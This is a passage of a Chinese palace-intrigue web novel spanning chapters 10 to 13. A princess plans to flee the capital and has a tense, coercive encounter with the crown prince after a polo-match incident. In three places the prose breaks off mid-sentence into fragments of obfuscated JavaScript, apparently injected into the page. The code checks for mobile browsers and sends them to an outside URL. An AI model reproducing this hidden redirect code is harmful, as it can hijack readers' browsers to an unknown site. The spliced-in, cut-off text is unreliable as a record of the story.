萧棠却不大相信。吴年对她一直友善，从不曾说过半句刻薄的话，每回都捡着好听的说，如今应当也只是善意的谎言。 她委婉拒绝：“既是进贡之物，如此贵重，我实在不敢要。” “若对姑娘的手伤有效用，便算不得贵重。奴才知道姑娘谨慎，可这花已经完全磨成了粉，就算是坤宁宫的嬷嬷来了，也瞧不出这一盒药粉有什么不同。” 吴年先说着体己话，又叹声道：“还恳请姑娘收下，别让奴才为难。” 好的坏的都让他那一张嘴全说了，萧棠这下不收都不行。 她只得盘算着先收下，等会儿放在此处不带回去。 见她拿过药盒，吴年的脸上重新堆起了笑容，道：“今日雨重，殿下离了尚书府也不便再回宫，晚些还是会歇在此处。姑娘若刚刚还有什么话没来得及同殿下说，入了夜也有机会。” 他说得含蓄，可萧棠怎么会听不明白其中的意思。 这是在提醒她，虽然她刚刚惹恼了太子殿下，但也不是没有弥补的机会。 入了夜，等魏珣回来，乖乖地讨他欢心，求他原谅，只要她够乖巧，太子殿下大抵不会与她计较太多。 至于讨男人欢心的手段，横竖不也就是那几样。 “吴公公的好意，我心领了。” 萧棠谦卑道：“只是我心惶恐，不知同殿下说什么，又担心惹太子相看生厌，若留在此处，恐怕不得安寝，还请公公帮忙打点，容我今晚回宫。” 吴年不曾想她这回这般木楞，连忙语重心长地劝了起来：“奴才不知姑娘怎的会与殿下起了龃龉，但姑娘是不知道，太子近日席不暇暖，就连今日见姑娘的时辰，都是从百忙之中抽出来的空闲。” 萧棠抿住唇瓣，不作声。 她怎么会不知道。 “……过了今夜，殿下可谓一日万机，后头还要离京几日。姑娘就是想见殿下，也难再见上。就算奴才能替潇湘殿捎口信，也比不上姑娘亲自同殿下说，您说是这个道理吧？” 这么大一段劝诫之语，萧棠却只听见了半句，她唰的抬起脸：“他要离京了，什么时候？” 这消息不为外人道，但吴年只是斟酌了一下，便十分爽快地向萧棠全盘透出： “这月中旬，殿下要按惯例替陛下前往皇寺几日，前前后后亦要再准备谢数日，便拢共算是半月的功夫。” 他告诉萧棠，显然是想让萧棠知晓，两人这段时日能再见的机会已然不多。 不论淳和公主如今是在拿乔也好，以退为进也罢，都得掂量着度，免得两人日后真的生疏了，那可不就成了弄巧成拙。 可萧棠只听进去了一件事—— 这月中旬，她生辰前后，魏珣不在燕京城中！ 这天大的巧合砸得她有些晕头转向。可无论心头再如何惊涛骇浪，萧棠面上也不曾显露半分，只说：“谢公公相告。” 少女声音柔婉，可显然并没有将他的规劝听进去：“往后的事往后再论，今晚麻烦公公帮我安排一下，容我快些回宫。” 吴年心头暗叹一声，只得先用一个拖字诀：“现下这天儿实在不便出行，奴才留意着什么时候雨小一些，再给姑娘安排车夫，还请姑娘体谅。” 除开试探与劝说淳和公主，吴年此时的确还有正事要办。 私狱从来不无缘无故审无罪之人。那死了的林少卿是太子党羽中的奸细，向誉王内线传递了不少密信。严刑拷打了他后，东宫才知道誉王与先前那位回屹可汗竟会有所勾连。 那位可汗醉酒后冒犯天子，惹来龙颜大怒，看似是意外，实际却是太子一手筹谋。 太子殿下此举，除了跟誉王有勾结的异邦可汗，扶持了回屹本部对大邺正统忠心耿耿的新人，还顺手免了淳和公主的和亲之苦，可谓一箭三雕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15774845|174660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >事成之后，那林少卿没了用处，又是叛徒之身，怎么想只有死路一条。他明白自己的下场，干脆先一步含毒自杀，以求太子因此垂怜其妻儿。 照拂孤儿寡母没什么不好办的，只是这人的尸首要怎么安排，吴年费了些头脑，最后才决定将尸首抛入护城河中，派卫兵发现林少卿失足坠河。 一具面目全非，却携带少卿官印的尸首，衙门说是谁就是谁，说怎么结案就怎么结案。 誉王哪怕猜出几分，也忌惮东宫抖出他与外邦勾结的事，不敢有什么多的动作，只能吃下这个哑巴亏。 安置好此事后，夜色已经全然浓稠如墨。 侍女来汇报了淳和公主的情况，她竟真如所言，一点都不打算挽留太子殿下，满心只惦念着今晚回宫。 吴年不敢自己拿主意，太子殿下走时并未表态，若回来瞧见萧棠已经人去楼空，怪罪到他头上了怎么办？ 思来想去，他也只得找借口一拖再拖。 盼星星盼月亮，接近子时，吴年终于盼到了太子殿下从尚书府回来。 男人直接去了书房，一路上都不曾过问萧棠。吴年如常服侍在侧，亦不曾主动提及。 魏珣坐在案前，一一看过送到他手上的邸报。 烛蜡无声滴落，灯火静静摇曳，直至又换了新的一盏，魏珣才将视线落在最底下的纸函上。 那是晏家人的全部信息。 先前谢闻引荐晏何修来东宫拜访，他知晓此少年才刚崭露头角，还未站稳脚跟，便只打算往后再看其造化。 如今才正眼瞧了他的背景家世。 却也只是一眼而已。 男人很快便收回目光，语调不冷不热：“市井小道，以后不必再呈。” 吴年的脑袋低得快埋到地上去了：“奴才知错。” 他自然知道太子指的是什么。 那上头除了晏何修的父母兄弟姊妹家世等等，还特地附了一段逸闻，说晏公子至今不曾娶妻，是因其为人凶神恶煞。家中曾为他安排过一位未婚妻，他却三言两语说哭了那姑娘，害得人一哭二闹三上吊，死活都不愿意嫁给他。 自此后传出恶名，独身两年至今。 太子殿下忽地叫他去查晏家人，吴年琢磨半晌了魏珣的心思，特地让人附上这么一段，令太子殿下放心。 结果看这样子，反倒是画蛇添足了。 他心中叫苦不迭，又道：“晏大人进京述职约莫要待上一月，若殿下不喜此人，不想他再与淳和公主接触——” “一个准指挥使而已，何必费那么多心思。” 魏珣的声音极淡：“若他真有才干，助他一臂之力有何不可。” 吴年愣了愣，才吞下剩余的话，应道：“是。” 这就是让他们不必再特别留意晏何修，一切如常的意思。 这倒的确更像太子一如既往的作风，绝不会为了某个人，某件小事，对谁徒生喜恶，只要是忠贤之才，有用之人，东宫都不吝帮扶。 揭过此事，吴年又将先前与萧棠的对话一一转述给魏珣。 也不知淳和公主怎么忽然犯了倔，竟这点头也不肯低。他一想到此事，便只觉头大。 看她的反应不像是不惦念太子，反倒像是…… 吴年想起萧棠连连追问太子日后行程的关切模样，想，反倒像是太惦念太子殿下，以至于不满足只有侍女能去东宫找他。 而是想以退为进，求太子容许她能直接去东宫。 从前可没有瞧出，淳和公主还有这般僭越的心思。 “公主还说，想要即刻回宫，可奴才看着雨势过大，实在不便——” 魏珣蹙了下眉，淡淡地打断道：“随她。” 11. 第 11 章 雨如决河倾，横斜催乱，几乎欲要淹没整座巍巍皇城。 天色漆黑如墨，偶有电闪雷鸣，劈开一道白光，才能隐隐瞧见几乎要被密雨冲散的纤薄身影。 萧棠回到潇湘殿中时，蓑衣斗笠都已经湿透，取下雨具，发丝也黏黏地挂在玉肩上，脸蛋被寒风吹得过分透白，手指一碰都是凉的。 瑞雪先为她披上外衣，点起炭火，又将煮好驱寒的姜汤送到她手上：“殿下暖暖身子。” 萧棠抿了一口，入口便是姜丝辛辣的口感，呛得她嗓子发痒，忍不住连咳了好几声。 喝了半碗，她便实在喝不下了，将瓷碗放到一边的小几上。 身子重新暖了起来，意识也清明了些，萧棠抬起眼，就瞧见瑞雪正目不转睛地盯着她。 方才她在喝姜汤，瑞雪不好插嘴。如今等她一放下碗，瑞雪便忍不住道：“太子怎的让殿下在这大雨天的回宫，该不会是恼了殿下吧？” 萧棠自然知道瑞雪在担心什么。她去过太子那处私邸许多次，第一次回来得这么迅速，又这般狼藉。 冒雨夜归，难免叫人多想。 瑞雪是她从小到大的贴身侍女，说是侍女，两人在潇湘殿中相依为命，情谊已然不同于寻常主仆。萧棠向来不与她藏私。 少女喝茶清了清口，便说：“是我自己要回来的。” 萧棠简单说了一遍今日诸事。 先听到太子问起晏何修时，瑞雪忍不住面露惊怕，等到后面得知魏珣允许自己自由出入东宫，而萧棠竟然一口回绝，她更是惊讶得几乎合不上嘴。 萧棠陈述的同时，也重新回顾了一遍。 她眺望窗外雨景，黛眉微蹙，由衷喃喃道：“今日种种，都已在我意料之外。” 没有料到魏珣会过问她与晏家姐弟的一面之缘，没有料到魏珣百忙之中，还会留她一夜。 更没有料到，在她想出借口，欲与他断了联系时，太子殿下并未顺水推舟地应下，反倒云淡风轻地许了她一份特例的殊荣。 令她不得不干脆拒绝，也不得不拂了魏珣的面子。 也不知道太子殿下的脾气与性子，怎么那般阴晴不定，琢磨不透，伤脑筋得很…… 萧棠深吸一口气，打断了浮想联翩。 无论如何，她已经打定主意要尽早离开燕京，远离这一切权争纷斗。 在皇宫中空有公主之名，却无公主之实的每一日，忍受父亲过世多年还要被流言蜚语泼尽脏水的每一日，乃至担心被皇帝拱手送给回屹可汗的每一日，都在提醒萧棠。 天家有多么薄情，多疑，善变。 他们给出的好处，随时都能收回亦或作废，作出的承诺，也并非君子一言驷马难追。 脑海里又浮现起太子殿下那张平静温和的脸庞。 这个男人身上也流着皇室的血，骨子里有着同样的凉薄。 甚至……也许更加青出于蓝而胜于蓝。 所幸今日虽然到最后不欢而散，但她说话并未说绝，字字都是替东宫考虑，所言顾虑都皆属实。 魏珣看在这个份上，应当也暂时还懒得与她多计较。 吴年说了，接下来太子会忙得不可开交，在她生辰前后又要离京前去皇寺. 皇寺僻静，不得为外人扰，许多消息都传不进去. 若她有意在魏珣离京那几日筹谋，便完全可以先斩后奏。 等魏珣回来，她已经远走高飞。以后天高皇帝远，只要她做得不过分，魏珣就算不喜她，也不至于专门派人南下找她算账。 这么看，前景倒也还算明朗。 瑞雪还一脸惆怅地看着她，萧棠回过神，冲瑞雪笑了笑：“无妨，我心里有数。” 翌日大雨微歇，只剩和风细雨，她继续安排瑞雪如常出去打探消息。 又折腾了两日，瑞雪在适龄的男子选了一圈，最终总算挑出了几个家世、背景、风评都还算过得去的人。 其中完完全全与她要求相吻合之人仅有一个，竟是她很熟悉的名字，晏何修。 品行端正，家世清白，最重要的是，他进京述职一月，很快就会启程折返回扬州卫，上任指挥使。 扬州。 萧棠对燕京之外的地方，记忆早已模糊。她只隐约记得此处离她的故土并不算远，江南水路纵横，从扬州坐上一日半日的船便可以回昔日的萧府瞧一瞧。 她父兄的棺冢应当也还在那附近，一直没有变过，也不知会不会有人祭拜，坟上是否已经生了灰。 回过神，萧棠看了看其余几人的消息，全都一一记在心头。接着便便将名录扔进火盆，烧了个干净。 除了这一份名录外，瑞雪还打听到了太子的动向—— 他的幕僚林少卿雨后失足坠入护城河，意外溺毙。太子殿下念在君臣多年情分，亲自屈尊前去探望林府孤儿寡母，还命东宫以后多加荫庇。 太子行事低调，可林家母子感激涕零，在四街六坊中大肆宣扬此事，转眼就在民间传为一时美谈。 萧棠却不由想起私狱中素未谋面的那位“罪臣”。 ……他似乎也姓林，也被称作少卿。 想到这，分明殿内银丝炭暖，萧棠抿着热茶，却忍不住觉得齿根生冷。 她转头便命瑞雪将东宫送来的物什都压箱收好。幸好从前她安分守己，几乎都没动过那些东西，最多只是看了看，收拣起来还算容易。 当然，也有些东西没办法收拾，譬如吴年不知哪日送来的几朵奇花，说是开花后花瓣可展五色，谓之五色斓。 此物脆弱无用，却似乎十分珍贵，她一直好好地养护着，等着哪日结了新种还给东宫，也算完璧归赵。 拢共整理完毕，便将箱子上锁，把钥匙扔进细颈瓷瓶中，堵住瓶口。这样再交到吴年那样的人精手上，对方定然能懂她委婉的“守口如瓶”之意。 萧棠已经让瑞雪准备好了说辞，也与先前拒绝太子时的无异，这些来路不明的奇珍异宝放在殿中，若是被人发现端倪，说不定也会牵连东宫。 她僭越过一回，不敢再僭越二回，心生忐忑，想要物归原主，合情合理。 只是如此合乎情理的话，折腾了几回都没有传到东宫的人那儿去。 瑞雪说，吴年不在，其余的东宫内侍见着了她，也装作是不认识般，目不斜视地离开了，压根不给她搭话的机会。 萧棠皱起眉毛。 这是几个意思，难不成是那日她走得太决绝，惹了魏珣不满，东宫便再也不敢传她的话了？ 可太子殿下看起来也不是这么小气的人啊。 瑞雪：“奴婢看东宫这几日的确事情繁多，也许只是没空理咱们。” 如此一来，物归原主的计划便只能先按下不表。 接连几日的雨总算停了，雨后初霁，便到了春日举办马球赛的时节。 有坤宁宫在，如今每逢宫中盛会宴聚，萧棠不止不再缺席，还都在第一时间得了消息。 马球赛在哪儿举办、大概会邀请哪些人，她都已经早有成数。 名单开头，最瞩目的便是太子殿下，萧棠的视线在魏珣的名谓上停留了好一会儿，才往前往后看。 皇帝征战天下后落下腿疾，如今愈发严重，已是不良于行，对马球也没了从前的热衷，但按照惯例，帝后仍会亲至。 其余皇子、公主都将到场，连刚刚凯旋的誉王都在其中。 在这样的盛会之中，魏珣顾不上她，也不可能对她表现出什么不同。 毕竟那么多双眼睛都盯着呢。 想到这，萧棠便放心地前去了。 不定时举办马球赛以供王公贵族娱乐，此乃是宫中惯例，早在太`祖时期，皇宫南侧便专设了一处偌大的击鞠场。 距离虽远，但寻常人没有以步待辇的恩遇，都得老老实实花上小半个时辰的功夫走过去。 众人成群结队，萧棠也跟在人群之后。 左右都是生疏的面孔，彼此点过头、问过好便不再继续搭话了，行将过半，才见一道熟悉的身影。 晏山菱从另一条岔路走来，正好与她碰上，主动与她打起招呼。 萧棠弯眼一笑，柔声应道：“几日不见姐姐，姐姐真当又容光照人了几分。” “公主真是折煞我了，”晏山菱凑到她跟前，打趣道，“我的蒲柳之姿，哪儿敢在公主面前卖弄？” 来来回回几句俏皮话间，一行人已经快要走到了目的地，远远便瞧见那宽宏气派的击鞠场，和进进出出的侍婢杂役。 马球风靡已久，不止是在军中与贵族子弟盛行，连女眷中都不乏精通爱好者。不知是谁起了话头，说起先前马球赛的趣闻，一时笑语不断。 萧棠幼时体弱多病，骑射方面一直落了下乘，后来也没有机会参与马球赛这样的盛事，她只在一旁静静听着，并不插话。 言笑晏晏之间，忽在此时，身后传来一道急促的嘶鸣。 众人依言回头看去，只见有人骑汗血宝马，肆意横冲直撞而来。 不必看清马背上的人的模样，猜都能猜出其身份。宫道间纵马奔驰，这般恩宠，除了皇帝如今最偏爱的誉王，还能有谁？ 按照规矩，她们见誉王都得行礼。众人挪向一旁，站定，毕恭毕敬地让出一条道，让誉王与他的爱马先过。 然而，就在这时，又有人道：“誉王殿下的马是不是不太对劲？” 被她这般提醒，众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马驹眼眶充血，一看就不正常，明眼人都能猜出七八分，想来是誉王殿下自己驯不好这匹烈马，又想在众人前炫耀，用了些手段，结果出了这一番洋相，不好承认。 然而这么想着，却无一人敢作声，皆垂首沉默，战战兢兢。 萧棠咬着下唇，柔声细语地道：“殿下，那马驹与臣女相隔数远便有发狂迹象。依臣女看，不如派人检查路口是否有东西伤到马蹄，使马驹失控。” 这一番话可谓滴水不漏，既撇清了自己的干系，又给足了魏琮台阶，不是他驯马失败，而是马驹受惊后不受控制。 魏琮若应下这话，找个借口敷衍过去，此事便了结了。 偏偏魏琮没有应。他抬起眉毛，阴恻恻地道：“好啊，真是伶牙俐齿。” 他完全无视掉了旁边的晏山菱，来回扫过萧棠那张玉雪似的脸。宫中少有这样纯媚的美人，一瞧便让人过目不忘。 魏琮眯起眼睛，蓦地问：“你就是萧棠？” 这语气听着，不像叙旧，反而像是要治萧棠的罪。 早听闻誉王殿下嚣张跋扈，他若不高兴，周围其余人便别想好过。 萧棠睫毛一颤，不敢直接回答，思考起脱身的法子。 魏琮却是连一点思考的时间都不给她，见她未有马上应答，立即冷笑一声，抬起马鞭。鞭尾一甩，萧棠躲闪不及，心跳几乎骤停—— “誉王殿下！” 熟悉的声音倏忽横`插进来，鞭尾偏差一寸，贴着萧棠衣袖落下，差一点点就打在了她身上。 萧棠惊魂未定，忽觉前方视线暗了几分。她深吸了口气，定睛一看，便看见吴年拱手作揖，半挡在她们身前。 平日里连朝臣都要敬三分的东宫大太监，在誉王殿下这里什么都不是，魏琮皱眉：“哪来的阉人，这儿有你们说话的份？” “殿下误会，奴才不敢冒犯誉王殿下。”吴年弯下腰，分外和气地道：“只是这宫规森严，殿下的坐骑在宫道失控，非同小可。” “太子惦念您的安危，自要命人前来好好查一番。” 一听见太子名谓，魏琮原本嚣张的气焰瞬间蒸发了大半，身后跟着的仆从也都不约而同地顿住动作。一刹那，原本乱糟糟的场面都陷入了诡异的寂静中。 萧棠转过头，望向不远处—— 一袭锦服的男人长身玉立，仅仅不动如山，周身便有叫人畏惧的威压。 他神色冷淡，平静地望着这一通乱象。 望着魏琮，吴年，与她。 12. 第 12 章 魏琮看着魏珣，四目相对，原本趾高气昂的脸色变得尤为精彩。 太子殿下却仿佛完全没有看见他的异样，不疾不徐地吩咐人过来处理。 四周围着都是人，叫魏琮平白觉得自己矮了一头。心头本就因为当众折损了一头宝驹恼火，如今更是火大。 他的眼睛直勾勾望着走近的魏珣，扯开一个皮笑肉不笑的弧度。 “既是宫规，难道不应该让父皇过问，什么时候轮到东宫的人来管本王。难道是东宫还想越俎代庖？” 这话咄咄逼人，一旁的女眷们都默不作声，只当自己没长眼睛没长耳朵，什么都不曾瞧见。 谁不知道誉王与太子殿下势同水火，准确说，是誉王视这位东宫储君如眼中钉、肉中刺，仗着是陛下幼子，母妃备受宠爱，年纪轻轻就封了一字王，时常不将东宫放在眼中。 太子殿下礼待手足，温和仁善，从未与誉王一般计较过。 魏珣道：“父皇刚刚风寒发作，孤欲将马驹无故发狂之事核查清楚，再一并报上御书房，以免父皇思虑。” 一问一答，高下立见。 太子殿下为人子，为人臣，行为举止当真无从置喙。 反倒是誉王，瞧着还像个没长大的孩子。 魏琮被堵得无话可说，只得不满地闭上了嘴，随手将马鞭抛在了地上。鞭子甩在砖瓦上，“啪”的一声，又脆又响，足矣见得力道之重，若是拿来伤人，少不了一道皮开肉绽的伤口。 他不再理会魏珣，站着等着太医与兽医围过来。 魏珣的视线，自然而然地落到了旁边的两道身影上。 萧棠正低头擦拭衣袖沾上的泥，冷不丁地，听见头顶上响起男人温和的声线：“淳和受惊了。” 魏珣极少用这样正式的称呼唤她，更别提如此和煦的语调。萧棠怔了一瞬才反应过来，只是因为如今有旁人在。 她抬起小脸，顺着应道：“皇兄。” 少女显然是被那发疯的马匹跟蛮不讲理的誉王一齐吓到了，连娟的眉眼还有几分后怕之色，手指也不由自主地捏成一团。 衣袖微微挽了上去，露出一截白嫩的皓腕，手上的旧伤还留有极浅的印记，又险些添了新的。 魏珣收回目光，侧眸吩咐：“送淳和公主与晏姑娘就近去青芜殿偏殿。” 受伤的仅有晏山菱一人，然而太子殿下都这般吩咐了，萧棠干脆默认下来，与晏山菱一起称谢道恩。 青芜殿就在一旁。内侍将两人领入偏殿里间，随即有侍女太医跟随入内。 女子的容貌肌肤娇贵，一点都马虎不得。尤其那伤人的是誉王殿下，众人自然更为重视，生怕她们出什么幺蛾子，引出更多的麻烦。 萧棠并未受伤，太医走个过场瞧一瞧后便作罢了，众人都围到了晏山菱那边。她自觉待在里间会打扰到众人进出行事，干脆退到了外头去。 坐在外间榻边，她看着青芜殿的陈设，平平无奇，又眺向窗外的花草圃园。 隔着花圃，吴年的身影忽然间引入眼帘。 远远见他匆匆进入正殿，不久后出来，便再也没有离开，站定在门外廊下候着。 萧棠坐直。 思量几许，她起身离开偏殿，走了好大一截路，行至到吴年面前：“吴公公。” 吴年毫无讶色，作揖道：“淳和公主。” 两人都光明正大地立于廊下，并未专门躲开人的视线。 附近虽有旁人，但魏珣方才救了她，她来找吴年再正常不过，遮遮掩掩才显得奇怪。 萧棠也先说着客套话：“方才多亏公公来得及时，救下了我，否则我恐怕免不了几道鞭伤。在此谢过公公。” 吴年连忙道：“太子有令，奴才只是奉命行事，不敢当，不敢当。” 他将话往太子殿下身上引，萧棠却佯装未觉，只字不提魏珣，开门见山道：“我来见公公，是为物归原主一事。” 她将先前未能让瑞雪带到的话，重新对吴年说了一遍。 吴年一听她有意将东宫赏赐之物都还给东宫，神色立即几不可闻地变了变。 等萧棠一说完，他忙不迭道：“公主还是莫要难为奴才，这种事情，奴才可绝对是做不了的主。” 他顿了顿，余光瞥向正殿阖上的大门，语重心长地暗示道：“您还是亲自去问太子殿下为好。” 萧棠跟着看去：“皇兄如今在殿中吗？” 见吴年应是，她只略微犹豫了一会儿，便下定决心：“那还请公公帮我通传一声。” 吴年叩门入殿。不过三两句话的功夫后，他便退了出来。 迎着萧棠的目光，他躬身道：“太子有事在身，不便见您，您还是先回去吧。” “……” 又让她去找魏珣，魏珣又不见她。 真是奇怪得很。 萧棠没有勉强，说了声“麻烦公公”，便识趣地下阶离开。 离了今日这般意外相见的契机，以后也不知何时才能与东宫说上话。这么看，那压箱的物什怕不是一直都送不出去…… 她想得入神，未发觉面前有一内侍端着药碗往这边走来，竟直接迎面撞了个正着。 哗啦一声，药碗倾泻，药汁当即泼了她半身。 萧棠还愣着，那内侍已经脸色大变，连忙跪下战战兢兢地道：“公主恕罪，公主恕罪，奴才有眼无珠——” 见他诚惶诚恐，萧棠无意再发难，抬手遮住身前：“下去吧，煎药要紧。” 内侍喏声，连忙收拾好药碗匆匆离开了。 不用看，萧棠也能感觉到身前已经被苦涩的汁水浸得湿黏，她皱起眉毛，望向相隔甚远的偏殿。 踌躇不过刹那，便听见身侧的吴年道：“淳和公主，奴才替您去取衣裳，您先进殿避一避。” 萧棠侧过眸子：“可皇兄……” 吴年：“事急从权，太子殿下宽厚，不会在此时为难公主，公主去说清楚便好。” 此处来来往往的并非只有女眷宫侍，未出阁的女儿湿着身的样子怎么能叫别人瞧见。萧棠没有犹豫，低低应声，挡在身前的手摁严实了些，匆匆踏入正殿中。 门开了一条细缝，又迅速合上，只留数日不见的这对兄妹共处一室。 正殿窗明几净，四角设珊瑚玉石盆景，萧棠有意站在盆景之后，借丛生的火红珊瑚挡住身体。 晴光顺着窗棱斜照进殿中，正落在男人淡金衣袍上。 魏珣立在窗下书桌案前，垂眸，提笔，沾墨，行云流水，从容不迫，与她此时的的窘迫形成了鲜明的对比。 吴年刚刚说太子有正事在身，也许并非托词。 为了避免被魏珣赶出去，萧棠快速阐明来意：“我并非有意打扰皇兄，只是……” 她将刚刚的意外全盘托出，又乖乖地承诺：“等换好新衣，我便立刻离开。” 魏珣如常落笔，写下“禀上”二字。 殿外，那匹进贡宝马的尸首仍未挪动，连血迹都尚未擦干，几位兽医揣着明白装糊涂地检查起马驹死状，推测其失控发狂的原因。 若不出所料，最后呈上的并非誉王殿下驯马不当的真相，而是此马疑似染疾，需对誉王府上下人口与牲畜进行检查。 魏琮这个拎不清的蠢货不敢让皇帝知道是他自己驯马失利，只得打碎了牙往肚子里吞。 一场变故，足够牵连出无数暗潮汹涌。 然而，半躲在珊瑚后的少女似乎什么都没有意识到，仍旧楚楚可怜地望着他。 红得滴血的珊瑚将她的身形遮了大半，却隐隐绰绰衬出她脸蛋、脖颈与锁骨往下，被药汁浸润的衣料也变得近乎透明，一大片雪肌是琼脂似的白。 白得晃眼，像刚着墨时不小心用重了色彩的仕女图。 魏珣并未挑破她青天白日故意撞上人的事实，收笔，另起一行。 与外头的吵闹聒噪不同，殿中分外安静，只听见风吹时沙沙的声音。 魏珣没理她，按照他的性子，便是默认允许她留下了。 萧棠忽地想起吴年的话，如今正是难得的时机。她轻吸一口气，柔声开口道：“皇兄，阿棠有一事相求。” 既是求人，不论所求何事，对方应否，总不能再躲在这珊瑚之后，那还有什么诚意。 萧棠抬手掩住身前，踱步到桌案边。她并未直说，而是先道：“皇兄的救命之恩，阿棠无以回报。若不是皇兄出现，只怕誉王殿下肯定会在大庭广众之下，莫名其妙地刁难我们二人一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“皇兄宽仁善心，赠过潇湘殿数不尽的东西，阿棠受宠若惊，诚惶诚恐，皆不敢随意使用，免得践踏皇兄心意，至今都悉数好好存放在内殿，无一丢失折损。” 她的声音低了许多：“那些奇珍异宝，本不是潇湘殿的用度。若是像誉王等有心之人发觉端倪，往下追查，只怕会殃及东宫。” 话说到此，绕了这么大一圈，意思总算明了。 萧棠不再继续往下说，等着魏珣的反应，却只听见魏珣轻嗤了声：“你是觉得，孤赏赐人，还要看誉王府的眼色？” “…………” 萧棠噎住。 她千想万想，也不曾料到魏珣会是这样的反应。 男人的语调不温不火，她却能分明感觉到，不论是什么原因，他都无意继续这个话题。 可她只能装作不知，继续说：“皇兄误会了，只是东宫所赐潇湘殿之物，有些并非普通公主能用的形制。” “若被小题大做，只怕会让人觉得不合规矩，留下隐患。” 魏珣放下狼毫笔：“所以，你想都还回东宫？” 没想到魏珣会主动提起，萧棠还以为是这番理由说动了他：连忙点头应道：“阿棠这几日已经收拾好了，随时可以——” 话音未落，她遮在身前的那只手忽地被人拉了过去。萧棠被迫踉跄往前，差点一头撞到魏珣怀中。 鼻尖与他的锦衣擦肩而过，尚未受什么难，身前石榴花的纹样却实打实压到了男人身上，柔软的花苞都近乎变形，叫萧棠不由吃痛。 低低的喊疼似乎并未引起男人怜香惜玉的心思，似是白玉雕成的修长指节往下，勾起了她湿润的衣襟。 “若孤记得不错，这一身从头到脚，都是东宫的东西。” 指节毫无温度，似刚出鞘的剑，冷冰冰地陷了下去。 湿透的衣料本就狼藉松散，又因浸了水变得十分厚重，轻而易举就被扯得往下坠，露出里衣藕粉的边。 魏珣对上她含水的眸子，不冷不热地问：“你打算现在当面还给孤？” 萧棠怔然。 蓦地，她从魏珣的眼神中反应过来这话里的含义，脸颊瞬间烫到了极点，脑子里盘算出来的种种也都成了空白一片。僵直在原地，唇瓣微张，却一时不知道该说什么。 还沾着一丝药渍的手轻轻拍了下她的脸，像是马球开赛前对待还不听话的小驹。 男人黑玉似的眸中映出她此时无措的样子。他衣冠楚楚，她的身前却已是一片凌乱，狼狈至极。 魏珣只是望着她，嗓音平静无波：“不要再自作主张。” 13. 第 13 章 温和的语调下，溢出极淡的警告意味。 魏珣睨着她僵住的神情，手收了回去，却仍在萧棠的脸侧留下浅浅一道水渍。 药汁的苦气顺着钻入鼻腔。脸颊烫意灼灼，锁骨下却一片发凉。萧棠以袖掩去狼藉，唰的别开了脸。 魏珣的视线仍旧落在她脸上，沉静无声。 好一会儿后，萧棠才明白他的意思，她平复好心情，低声给出男人想听的答案： “阿棠知晓。” 在太子殿下面前，她极少自称为我。 一切重归正轨，剩下的不该说的话，萧棠都咽了回去。 案桌上，原本写了几行的奏表似乎滴上了多余的墨迹，不得不作了废。魏珣拿起，随手放在旁边的烧得正旺的蜡烛上。 火舌吞噬宣纸，一下子拉得极长，几乎舔过他的手指。魏珣却并未避开，只是垂眸，静静看着火焰将纸张烧成灰烬。 他收手，仔细擦干净指尖的灰尘与水渍，然后才唤吴年进来。 也就是这时，萧棠才蓦地意识到，原来吴年已经在殿外候着了。 只是因为没有得魏珣的命令，哪怕她此时湿着身，急需要换一件衣裙，他也不敢贸然入殿。 门被拉开一道缝隙，吴年躬身将衣裳放在入口的龙门架上。 他特地去了一趟潇湘殿，问过瑞雪的意见，才找来一套又适合出席马球赛、又会符合萧棠心意的衣裳，难免多费了些功夫。 只是一回来，就察觉殿中气氛不大对劲。吴年最擅长察言观色，办好事后便无声退出。 萧棠三步并两步前去拿过那身衣裙，转身扫视殿中。 正好，角落有一处童子游山屏风，虽然简陋，却足够隔开一片天地，让她能在屏后更衣。 少女的身影掩入屏后。她故意将动作放得很轻，不敢打扰他。 魏珣却还是能够清楚地听见绸缎滑过她的身体时，极为悉悉索索的细微声响，像是连绵的水冲过少女的肌肤。 太子殿下喜静，所幸这样的杂音并未持续太久。 虽有屏风相隔，萧棠仍也觉得不自在，动作不由快了许多，转眼便更好衣从屏后走出来。 明丽的黄绿衣绸为少女平添几分鲜妍娇媚，比之一向素净的妆饰，更显出小女儿家的情态。 她却似乎并不觉这番打扮有什么特殊，走至案桌边，见魏珣正重新临着奏表，低头道：“阿棠先行告退。” 还不等魏珣应，殿外忽地传来太医的声音：“太子殿下，卑职有事相禀。” 最平常不过的禀报声，在此时却像是惊雷炸开。萧棠抬起脸望着魏珣，手指捏着衣袖：“皇兄……”她是不是该去避一避？ 征询的话尚未说出口，就听见魏珣道：“进来吧。” 男人的语气十分冷静，萧棠微愕地盯着他，几乎以为自己听错了。 然而门被打开的声音尤为清楚。下一刻，殿外的人已经麻利地推门而入。 当太医看见她时，亦是瞳孔一震。 女、女子？这儿怎么会有一个活生生的、娇滴滴的女子！？ 他在太医院任职多年，久闻太子殿下高洁的美名。太子至今不近女色，他可从未见过、听过魏珣身边会有女子作陪，怎的如今冒出这样一位佳丽在侧！？ 况且，殿外如今乱作一团，依照太子殿下的脾性，怎么会有心情在此处红袖添香…… 但很快，望着少女那张明媚的脸庞，太医忽地想起来了她的身份。 淳和公主久居深宫，却生了一副令人过目不忘的美貌。 两年前她亲身前去太医院求药，并未梳妆，面带倦色，一袭素衣玉袍，行于楼宇之间，院中众人见之，无一不侧目注视，以为是珠阙仙子下凡。 他亦在其中，不能免俗。 